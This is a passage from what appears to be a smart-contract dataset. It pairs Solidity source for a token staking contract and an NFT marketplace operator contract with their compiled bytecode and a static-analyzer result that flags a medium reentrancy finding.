callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ReentrancyGuard {
/// @dev counter to allow mutex lock with only one SSTORE operation
uint256 private _guardCounter;
constructor () {
// The counter starts at one to prevent changing it from zero to a non-zero
// value, which is a more expensive operation.
_guardCounter = 1;
}
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter, "ReentrancyGuard: reentrant call");
}
}
interface ILockStakingRewards {
function earned(address account) external view returns (uint256);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function stake(uint256 amount) external;
function stakeFor(uint256 amount, address user) external;
function getReward() external;
function withdraw(uint256 nonce) external;
function withdrawAndGetReward(uint256 nonce) external;
}
interface IERC20Permit {
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
}
contract LockStakingRewardSameTokenFixedAPY is ILockStakingRewards, ReentrancyGuard, Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 public token;
uint256 public rewardRate;
uint256 public immutable lockDuration;
uint256 public constant rewardDuration = 365 days;
mapping(address => uint256) public weightedStakeDate;
mapping(address => mapping(uint256 => uint256)) public stakeLocks;
mapping(address => mapping(uint256 => uint256)) public stakeAmounts;
mapping(address => uint256) public stakeNonces;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
event RewardUpdated(uint256 reward);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
event Rescue(address to, uint amount);
event RescueToken(address to, address token, uint amount);
constructor(
address _token,
uint _rewardRate,
uint _lockDuration
) {
token = IERC20(_token);
rewardRate = _rewardRate;
lockDuration = _lockDuration;
}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view override returns (uint256) {
return _balances[account];
}
function earned(address account) public view override returns (uint256) {
return (_balances[account].mul(block.timestamp.sub(weightedStakeDate[account])).mul(rewardRate)) / (100 * rewardDuration);
}
function stakeWithPermit(uint256 amount, uint deadline, uint8 v, bytes32 r, bytes32 s) external nonReentrant {
require(amount > 0, "LockStakingRewardSameTokenFixedAPY: Cannot stake 0");
_totalSupply = _totalSupply.add(amount);
uint previousAmount = _balances[msg.sender];
uint newAmount = previousAmount.add(amount);
weightedStakeDate[msg.sender] = (weightedStakeDate[msg.sender].mul(previousAmount) / newAmount).add(block.timestamp.mul(amount) / newAmount);
_balances[msg.sender] = newAmount;
// permit
IERC20Permit(address(token)).permit(msg.sender, address(this), amount, deadline, v, r, s);
token.safeTransferFrom(msg.sender, address(this), amount);
uint stakeNonce = stakeNonces[msg.sender]++;
stakeLocks[msg.sender][stakeNonce] = block.timestamp + lockDuration;
stakeAmounts[msg.sender][stakeNonce] = amount;
emit Staked(msg.sender, amount);
}
function stake(uint256 amount) external override nonReentrant {
require(amount > 0, "LockStakingRewardSameTokenFixedAPY: Cannot stake 0");
_totalSupply = _totalSupply.add(amount);
uint previousAmount = _balances[msg.sender];
uint newAmount = previousAmount.add(amount);
weightedStakeDate[msg.sender] = (weightedStakeDate[msg.sender].mul(previousAmount) / newAmount).add(block.timestamp.mul(amount) / newAmount);
_balances[msg.sender] = newAmount;
token.safeTransferFrom(msg.sender, address(this), amount);
uint stakeNonce = stakeNonces[msg.sender]++;
stakeLocks[msg.sender][stakeNonce] = block.timestamp + lockDuration;
stakeAmounts[msg.sender][stakeNonce] = amount;
emit Staked(msg.sender, amount);
}
function stakeFor(uint256 amount, address user) external override nonReentrant {
require(amount > 0, "LockStakingRewardSameTokenFixedAPY: Cannot stake 0");
_totalSupply = _totalSupply.add(amount);
uint previousAmount = _balances[user];
uint newAmount = previousAmount.add(amount);
weightedStakeDate[user] = (weightedStakeDate[user].mul(previousAmount) / newAmount).add(block.timestamp.mul(amount) / newAmount);
_balances[user] = newAmount;
token.safeTransferFrom(msg.sender, address(this), amount);
uint stakeNonce = stakeNonces[user]++;
stakeLocks[user][stakeNonce] = block.timestamp + lockDuration;
stakeAmounts[user][stakeNonce] = amount;
emit Staked(user, amount);
}
//A user can withdraw its staking tokens even if there is no rewards tokens on the contract account
function withdraw(uint256 nonce) public override nonReentrant {
uint amount = stakeAmounts[msg.sender][nonce];
require(stakeAmounts[msg.sender][nonce] > 0, "LockStakingRewardSameTokenFixedAPY: This stake nonce was withdrawn");
require(stakeLocks[msg.sender][nonce] < block.timestamp, "LockStakingRewardSameTokenFixedAPY: Locked");
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
token.safeTransfer(msg.sender, amount);
stakeAmounts[msg.sender][nonce] = 0;
emit Withdrawn(msg.sender, amount);
}
function getReward() public override nonReentrant {
uint256 reward = earned(msg.sender);
if (reward > 0) {
weightedStakeDate[msg.sender] = block.timestamp;
token.safeTransfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
}
}
function withdrawAndGetReward(uint256 nonce) external override {
getReward();
withdraw(nonce);
}
function updateRewardAmount(uint256 reward) external onlyOwner {
rewardRate = reward;
emit RewardUpdated(reward);
}
function rescue(address to, address tokenAddress, uint256 amount) external onlyOwner {
require(to != address(0), "LockStakingRewardSameTokenFixedAPY: Cannot rescue to the zero address");
require(amount > 0, "LockStakingRewardSameTokenFixedAPY: Cannot rescue 0");
require(tokenAddress != address(token), "LockStakingRewardSameTokenFixedAPY: Cannot rescue staking/reward token");
IERC20(tokenAddress).safeTransfer(to, amount);
emit RescueToken(to, address(tokenAddress), amount);
}
function rescue(address payable to, uint256 amount) external onlyOwner {
require(to != address(0), "LockStakingRewardSameTokenFixedAPY: Cannot rescue to the zero address");
require(amount > 0, "LockStakingRewardSameTokenFixedAPY: Cannot rescue 0");
to.transfer(amount);
emit Rescue(to, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106101975760003560e01c806386a9d8a8116100e3578063d4ee1d901161008c578063f44c407a11610066578063f44c407a14610303578063f520e7e514610316578063fc0c546a1461031e57610197565b8063d4ee1d90146102d5578063ecd9ba82146102dd578063f2fde38b146102f057610197565b8063971fe937116100bd578063971fe9371461029c578063a694fc3a146102af578063baee99c2146102c257610197565b806386a9d8a8146102615780638da5cb5b146102745780638edc7f2d1461028957610197565b80633d18b9121161014557806379ba50971161011f57806379ba50971461023e5780637a4e4ecf146102465780637b0a47ee1461025957610197565b80633d18b9121461021057806351746bb21461021857806370a082311461022b57610197565b806318160ddd1161017657806318160ddd146101e257806320ff430b146101ea5780632e1a7d4d146101fd57610197565b80628cc2621461019c57806304554443146101c557806315c2ba14146101cd575b600080fd5b6101af6101aa366004611640565b610326565b6040516101bc9190611d2c565b60405180910390f35b6101af6103b6565b6101e06101db3660046116f9565b6103da565b005b6101af610474565b6101e06101f8366004611687565b61047a565b6101e061020b3660046116f9565b610608565b6101e06107be565b6101e0610226366004611711565b6108b1565b6101af610239366004611640565b610b0c565b6101e0610b34565b6101e061025436600461165c565b610bf0565b6101af610d49565b6101af61026f366004611640565b610d4f565b61027c610d61565b6040516101bc91906117c6565b6101af6102973660046116c7565b610d7d565b6101af6102aa3660046116c7565b610d9a565b6101e06102bd3660046116f9565b610db7565b6101af6102d0366004611640565b610fa5565b61027c610fb7565b6101e06102eb366004611740565b610fd3565b6101e06102fe366004611640565b611232565b6101e06103113660046116f9565b6112f2565b6101af611303565b61027c61130b565b60006103376301e133806064611d86565b60045473ffffffffffffffffffffffffffffffffffffffff84166000908152600560205260409020546103a691906103a090610374904290611327565b73ffffffffffffffffffffffffffffffffffffffff87166000908152600a602052604090205490611377565b90611377565b6103b09190611d4d565b92915050565b7f0000000000000000000000000000000000000000000000000000000000ed4e0081565b60015473ffffffffffffffffffffffffffffffffffffffff163314610434576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161042b9061188c565b60405180910390fd5b60048190556040517fcb94909754d27c309adf4167150f1f7aa04de40b6a0e6bb98b2ae80a2bf438f690610469908390611d2c565b60405180910390a150565b60095490565b60015473ffffffffffffffffffffffffffffffffffffffff1633146104cb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161042b9061188c565b73ffffffffffffffffffffffffffffffffffffffff8316610518576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161042b90611b24565b60008111610552576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161042b906119b0565b60035473ffffffffffffffffffffffffffffffffffffffff838116911614156105a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161042b906118c1565b6105c873ffffffffffffffffffffffffffffffffffffffff831684836113dd565b7faabf44ab9d5bef08d1b60f287a337f0d11a248e49741ad189b429e47e98ba9108383836040516105fb9392919061180d565b60405180910390a1505050565b600160008082825461061a9190611d35565b9091555050600080543382526007602090815260408084208585529091529091205480610673576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161042b90611aa1565b33600090815260066020908152604080832086845290915290205442116106c6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161042b90611ba7565b6009546106d39082611327565b600955336000908152600a60205260409020546106f09082611327565b336000818152600a60205260409020919091556003546107299173ffffffffffffffffffffffffffffffffffffffff90911690836113dd565b33600081815260076020908152604080832087845290915280822091909155517f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d590610776908490611d2c565b60405180910390a25060005481146107ba576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161042b90611cbe565b5050565b60016000808282546107d09190611d35565b909155505060008054906107e333610326565b90508015610872573360008181526005602052604090204290556003546108239173ffffffffffffffffffffffffffffffffffffffff90911690836113dd565b3373ffffffffffffffffffffffffffffffffffffffff167fe2403640ba68fed3a2f88b7557551d1993f84b99bb10ff833f0cf8db0c5e0486826040516108699190611d2c565b60405180910390a25b5060005481146108ae576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161042b90611cbe565b50565b60016000808282546108c39190611d35565b909155505060005482610902576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161042b90611c61565b60095461090f908461147e565b60095573ffffffffffffffffffffffffffffffffffffffff82166000908152600a602052604081205490610943828661147e565b905061099f816109534288611377565b61095d9190611d4d565b73ffffffffffffffffffffffffffffffffffffffff8616600090815260056020526040902054839061098f9086611377565b6109999190611d4d565b9061147e565b73ffffffffffffffffffffffffffffffffffffffff808616600090815260056020908152604080832094909455600a9052919091208290556003546109e791163330886114c7565b73ffffffffffffffffffffffffffffffffffffffff8416600090815260086020526040812080549082610a1983611dda565b909155509050610a497f0000000000000000000000000000000000000000000000000000000000ed4e0042611d35565b73ffffffffffffffffffffffffffffffffffffffff8616600081815260066020908152604080832086845282528083209490945582825260078152838220858352905282902088905590517f9e71bc8eea02a63969f509818f2dafb9254532904319f9dbda79b67bd34a5f3d90610ac1908990611d2c565b60405180910390a25050506000548114610b07576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161042b90611cbe565b505050565b73ffffffffffffffffffffffffffffffffffffffff166000908152600a602052604090205490565b60025473ffffffffffffffffffffffffffffffffffffffff163314610b5857600080fd5b60025460015460405173ffffffffffffffffffffffffffffffffffffffff92831692909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a360028054600180547fffffffffffffffffffffffff000000000000000000000000000000000000000090811673ffffffffffffffffffffffffffffffffffffffff841617909155169055565b60015473ffffffffffffffffffffffffffffffffffffffff163314610c41576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161042b9061188c565b73ffffffffffffffffffffffffffffffffffffffff8216610c8e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161042b90611b24565b60008111610cc8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161042b906119b0565b60405173ffffffffffffffffffffffffffffffffffffffff83169082156108fc029083906000818181858888f19350505050158015610d0b573d6000803e3d6000fd5b507f542fa6bfee3b4746210fbdd1d83f9e49b65adde3639f8d8f165dd18347938af28282604051610d3d9291906117e7565b60405180910390a15050565b60045481565b60086020526000908152604090205481565b60015473ffffffffffffffffffffffffffffffffffffffff1681565b600760209081526000928352604080842090915290825290205481565b600660209081526000928352604080842090915290825290205481565b6001600080828254610dc99190611d35565b909155505060005481610e08576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161042b90611c61565b600954610e15908361147e565b600955336000908152600a602052604081205490610e33828561147e565b9050610e6981610e434287611377565b610e4d9190611d4d565b33600090815260056020526040902054839061098f9086611377565b33600081815260056020908152604080832094909455600a905291909120829055600354610eb19173ffffffffffffffffffffffffffffffffffffffff9091169030876114c7565b33600090815260086020526040812080549082610ecd83611dda565b909155509050610efd7f0000000000000000000000000000000000000000000000000000000000ed4e0042611d35565b33600081815260066020908152604080832086845282528083209490945582825260078152838220858352905282902087905590517f9e71bc8eea02a63969f509818f2dafb9254532904319f9dbda79b67bd34a5f3d90610f5f908890611d2c565b60405180910390a250505060005481146107ba576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161042b90611cbe565b60056020526000908152604090205481565b60025473ffffffffffffffffffffffffffffffffffffffff1681565b6001600080828254610fe59190611d35565b909155505060005485611024576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161042b90611c61565b600954611031908761147e565b600955336000908152600a60205260408120549061104f828961147e565b905061105f81610e43428b611377565b33600081815260056020908152604080832094909455600a905282902083905560035491517fd505accf00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff9092169163d505accf916110de9130908d908d908d908d908d9060040161183e565b600060405180830381600087803b1580156110f857600080fd5b505af115801561110c573d6000803e3d6000fd5b5050600354611136925073ffffffffffffffffffffffffffffffffffffffff16905033308b6114c7565b3360009081526008602052604081208054908261115283611dda565b9091555090506111827f0000000000000000000000000000000000000000000000000000000000ed4e0042611d35565b3360008181526006602090815260408083208684528252808320949094558282526007815283822085835290528290208b905590517f9e71bc8eea02a63969f509818f2dafb9254532904319f9dbda79b67bd34a5f3d906111e4908c90611d2c565b60405180910390a2505050600054811461122a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161042b90611cbe565b505050505050565b60015473ffffffffffffffffffffffffffffffffffffffff163314611283576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161042b9061188c565b60025473ffffffffffffffffffffffffffffffffffffffff828116911614156112ab57600080fd5b600280547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b6112fa6107be565b6108ae81610608565b6301e1338081565b60035473ffffffffffffffffffffffffffffffffffffffff1681565b600082821115611363576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161042b90611a0d565b600061136f8385611dc3565b949350505050565b600082611386575060006103b0565b60006113928385611d86565b90508261139f8583611d4d565b146113d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161042b90611a44565b9392505050565b610b078363a9059cbb60e01b84846040516024016113fc9291906117e7565b604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe08184030181529190526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fffffffff00000000000000000000000000000000000000000000000000000000909316929092179091526114ee565b60008061148b8385611d35565b9050838110156113d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161042b90611944565b6114e8846323b872dd60e01b8585856040516024016113fc9392919061180d565b50505050565b61150d8273ffffffffffffffffffffffffffffffffffffffff1661163a565b611543576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161042b90611cf5565b6000808373ffffffffffffffffffffffffffffffffffffffff168360405161156b919061178d565b6000604051808303816000865af19150503d80600081146115a8576040519150601f19603f3d011682016040523d82523d6000602084013e6115ad565b606091505b5091509150816115e9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161042b9061197b565b8051156114e8578080602001905181019061160491906116d9565b6114e8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161042b90611c04565b3b151590565b600060208284031215611651578081fd5b81356113d681611e42565b6000806040838503121561166e578081fd5b823561167981611e42565b946020939093013593505050565b60008060006060848603121561169b578081fd5b83356116a681611e42565b925060208401356116b681611e42565b929592945050506040919091013590565b6000806040838503121561166e578182fd5b6000602082840312156116ea578081fd5b815180151581146113d6578182fd5b60006020828403121561170a578081fd5b5035919050565b60008060408385031215611723578182fd5b82359150602083013561173581611e42565b809150509250929050565b600080600080600060a08688031215611757578081fd5b8535945060208601359350604086013560ff81168114611775578182fd5b94979396509394606081013594506080013592915050565b60008251815b818110156117ad5760208186018101518583015201611793565b818111156117bb5782828501525b509190910192915050565b73ffffffffffffffffffffffffffffffffffffffff91909116815260200190565b73ffffffffffffffffffffffffffffffffffffffff929092168252602082015260400190565b73ffffffffffffffffffffffffffffffffffffffff9384168152919092166020820152604081019190915260600190565b73ffffffffffffffffffffffffffffffffffffffff97881681529590961660208601526040850193909352606084019190915260ff16608083015260a082015260c081019190915260e00190565b6020808252818101527f4f776e61626c653a2043616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526046908201527f4c6f636b5374616b696e6752657761726453616d65546f6b656e46697865644160408201527f50593a2043616e6e6f7420726573637565207374616b696e672f72657761726460608201527f20746f6b656e0000000000000000000000000000000000000000000000000000608082015260a00190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b6020808252818101527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604082015260600190565b60208082526033908201527f4c6f636b5374616b696e6752657761726453616d65546f6b656e46697865644160408201527f50593a2043616e6e6f7420726573637565203000000000000000000000000000606082015260800190565b6020808252601e908201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604082015260600190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60408201527f7700000000000000000000000000000000000000000000000000000000000000606082015260800190565b60208082526042908201527f4c6f636b5374616b696e6752657761726453616d65546f6b656e46697865644160408201527f50593a2054686973207374616b65206e6f6e636520776173207769746864726160608201527f776e000000000000000000000000000000000000000000000000000000000000608082015260a00190565b60208082526045908201527f4c6f636b5374616b696e6752657761726453616d65546f6b656e46697865644160408201527f50593a2043616e6e6f742072657363756520746f20746865207a65726f20616460608201527f6472657373000000000000000000000000000000000000000000000000000000608082015260a00190565b6020808252602a908201527f4c6f636b5374616b696e6752657761726453616d65546f6b656e46697865644160408201527f50593a204c6f636b656400000000000000000000000000000000000000000000606082015260800190565b6020808252602a908201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e60408201527f6f74207375636365656400000000000000000000000000000000000000000000606082015260800190565b60208082526032908201527f4c6f636b5374616b696e6752657761726453616d65546f6b656e46697865644160408201527f50593a2043616e6e6f74207374616b6520300000000000000000000000000000606082015260800190565b6020808252601f908201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604082015260600190565b6020808252601f908201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604082015260600190565b90815260200190565b60008219821115611d4857611d48611e13565b500190565b600082611d81577f4e487b710000000000000000000000000000000000000000000000000000000081526012600452602481fd5b500490565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611dbe57611dbe611e13565b500290565b600082821015611dd557611dd5611e13565b500390565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611e0c57611e0c611e13565b5060010190565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b73ffffffffffffffffffffffffffffffffffffffff811681146108ae57600080fdfea2646970667358221220b55611dd287e2a75f38c7fcf9a9638f2f82a14171dcf23f5cdfad9d29b58cf8464736f6c63430008000033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 8,177 |
0x85e434f24aa8b5ed852713531adc60f60c1f5be2
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface TokenMover {
function transferERC20(address currency, address from, address to, uint256 amount) external;
function transferERC721(address currency, address from, address to, uint256 tokenId) external;
}
interface NFTToken {
function mintForSomeoneAndBuy(
uint256 tokenId,
address[] calldata creators,
uint256[] calldata royaltyPercent,
address buyer
) external;
}
interface FeeManager {
function getPartnerFee(address partner) external view returns (uint256);
}
interface IERC2981Royalties {
/// @notice Called with the sale price to determine how much royalty
// is owed and to whom.
/// @param _tokenId - the NFT asset queried for royalty information
/// @param _value - the sale price of the NFT asset specified by _tokenId
/// @return _receiver - address of who should be sent the royalty payment
/// @return _royaltyAmount - the royalty payment amount for value sale price
function royaltyInfo(uint256 _tokenId, uint256 _value)
external
view
returns (address _receiver, uint256 _royaltyAmount);
}
interface IERCMultiRoyalties {
function royaltyInfoAll(uint256 tokenId, uint256 value) external view returns (address[] memory, uint256[] memory);
}
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
contract OperatorV3 is Ownable {
TokenMover immutable public tokenMover;
address private feeManager;
address private feeRecipient;
mapping(address => bool) internal _isApp;
event SaleAwarded(address from, address to, uint256 tokenId);
constructor(address _feeManager, address _feeRecipient, address _TokenMover) {
feeManager = _feeManager;
feeRecipient = _feeRecipient;
tokenMover = TokenMover(_TokenMover);
}
modifier onlyApp() {
require(_isApp[_msgSender()], "Caller is not the app");
_;
}
function getFeeManager() public view returns(address) {
return feeManager;
}
function getFeeRecipient() public view returns(address) {
return feeRecipient;
}
function isApp(address _app) public view returns(bool) {
return _isApp[_app];
}
function mintAndSell(
uint256 tokenId,
address nftContract,
address[] calldata owners,
address buyer,
uint256 price,
uint256 extraFee,
uint256[] calldata royaltyPercentages,
address currency
) external onlyApp {
require(price > 0, "Price should be greater than zero");
_takeFeeOnMint(owners, royaltyPercentages, buyer, price, extraFee, currency);
NFTToken(nftContract).mintForSomeoneAndBuy(tokenId, owners, royaltyPercentages, buyer);
emit SaleAwarded(owners[0], buyer, tokenId);
}
function sellItem(
uint256 tokenId,
address nftContract,
address owner,
address buyer,
uint256 price,
uint256 extraFee,
address currency
) external onlyApp {
require(price > 0, "Price should be greater than zero");
_takeFee(tokenId, nftContract, owner, buyer, price, extraFee, currency);
tokenMover.transferERC721(nftContract, owner, buyer, tokenId);
emit SaleAwarded(owner, buyer, tokenId);
}
function _takeFeeOnMint(
address[] calldata sellers,
uint256[] calldata percentages,
address buyer,
uint256 price,
uint256 extraFee,
address currency
) internal {
uint256 commission = FeeManager(feeManager).getPartnerFee(sellers[0]);
uint256 platformFee = (price*commission)/10000 + extraFee;
uint256 amountForSeller = price - platformFee;
uint256 total;
uint256 length = sellers.length;
for(uint256 i = 0; i < length; i++) {
total += percentages[i];
}
_sendToMany(currency, buyer, sellers, percentages, amountForSeller, total);
tokenMover.transferERC20(currency, buyer, feeRecipient, platformFee);
}
function _sendToMany(address currency, address from, address[] calldata tos, uint256[] calldata percentages, uint256 amount, uint256 total) internal {
uint256 length = tos.length;
for(uint256 i = 0; i < length; i++) {
uint256 amountA = amount*percentages[i]/total;
tokenMover.transferERC20(currency, from, tos[i], amountA);
}
}
function _takeFee(
uint256 tokenId,
address nftContract,
address seller,
address buyer,
uint256 price,
uint256 extraFee,
address currency
) internal {
uint256 totalRoyalty;
if(IERC165(nftContract).supportsInterface(type(IERCMultiRoyalties).interfaceId)) {
(address[] memory recipients, uint256[] memory amounts) = IERCMultiRoyalties(nftContract).royaltyInfoAll(tokenId, price);
uint256 length = recipients.length;
for(uint256 i = 0; i < length; i++) {
totalRoyalty += amounts[i];
tokenMover.transferERC20(currency, buyer, recipients[i], amounts[i]);
}
} else if(IERC165(nftContract).supportsInterface(type(IERC2981Royalties).interfaceId)) {
(address recipient, uint256 amount) = IERC2981Royalties(nftContract).royaltyInfo(tokenId, price);
if(seller != recipient) {
totalRoyalty = amount;
tokenMover.transferERC20(currency, buyer, recipient, amount);
}
}
uint256 commission = FeeManager(feeManager).getPartnerFee(seller);
uint256 platformFee = (price*commission)/10000 + extraFee;
uint256 amountForSeller = price - platformFee - totalRoyalty;
tokenMover.transferERC20(currency, buyer, seller, amountForSeller);
tokenMover.transferERC20(currency, buyer, feeRecipient, platformFee);
}
function changeFeeManager(address _feeManager) external onlyOwner {
feeManager = _feeManager;
}
function changeFeeRecipient(address _feeRecipient) external onlyOwner {
feeRecipient = _feeRecipient;
}
function addApp(address _app) external onlyOwner {
require(!_isApp[_app], "Address already added as app");
_isApp[_app] = true;
}
function removeApp(address _app) external onlyOwner {
require(_isApp[_app], "Address is not added as app");
_isApp[_app] = false;
}
}
|
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806393ac9b161161008c578063d0c6fdb711610066578063d0c6fdb7146101b4578063f0976862146101c7578063f2d63826146101ee578063f2fde38b146101ff57600080fd5b806393ac9b161461017b578063a303c6611461018e578063bfc810b6146101a157600080fd5b806323604071146100d45780633ca3ad4e146100e95780634ccb20c01461012a578063715018a61461014f578063887a12b7146101575780638da5cb5b1461016a575b600080fd5b6100e76100e2366004611148565b610212565b005b6101156100f7366004611148565b6001600160a01b031660009081526003602052604090205460ff1690565b60405190151581526020015b60405180910390f35b6002546001600160a01b03165b6040516001600160a01b039091168152602001610121565b6100e7610267565b6100e76101653660046112a1565b61029d565b6000546001600160a01b0316610137565b6100e7610189366004611148565b6103fc565b6100e761019c36600461131c565b6104b3565b6100e76101af366004611148565b610620565b6100e76101c2366004611148565b61066c565b6101377f000000000000000000000000874f15088843949fa6ac0834a9933b57e6edfd0881565b6001546001600160a01b0316610137565b6100e761020d366004611148565b61071f565b6000546001600160a01b031633146102455760405162461bcd60e51b815260040161023c9061144f565b60405180910390fd5b600280546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146102915760405162461bcd60e51b815260040161023c9061144f565b61029b60006107ba565b565b3360009081526003602052604090205460ff166102f45760405162461bcd60e51b8152602060048201526015602482015274043616c6c6572206973206e6f74207468652061707605c1b604482015260640161023c565b600083116103145760405162461bcd60e51b815260040161023c9061140e565b6103238787878787878761080a565b604051633c4fc9fb60e11b81526001600160a01b037f000000000000000000000000874f15088843949fa6ac0834a9933b57e6edfd08169063789f93f690610375908990899089908d906004016113e4565b600060405180830381600087803b15801561038f57600080fd5b505af11580156103a3573d6000803e3d6000fd5b5050604080516001600160a01b03808a168252881660208201529081018a90527fe16bf114d42e1c89fce0154b6d5c527b5b11b50e59080f64279c696652bb04919250606001905060405180910390a150505050505050565b6000546001600160a01b031633146104265760405162461bcd60e51b815260040161023c9061144f565b6001600160a01b03811660009081526003602052604090205460ff161561048f5760405162461bcd60e51b815260206004820152601c60248201527f4164647265737320616c72656164792061646465642061732061707000000000604482015260640161023c565b6001600160a01b03166000908152600360205260409020805460ff19166001179055565b3360009081526003602052604090205460ff1661050a5760405162461bcd60e51b8152602060048201526015602482015274043616c6c6572206973206e6f74207468652061707605c1b604482015260640161023c565b6000851161052a5760405162461bcd60e51b815260040161023c9061140e565b61053a888885858a8a8a88610dad565b604051630ab3fe0d60e11b81526001600160a01b038a1690631567fc1a90610570908d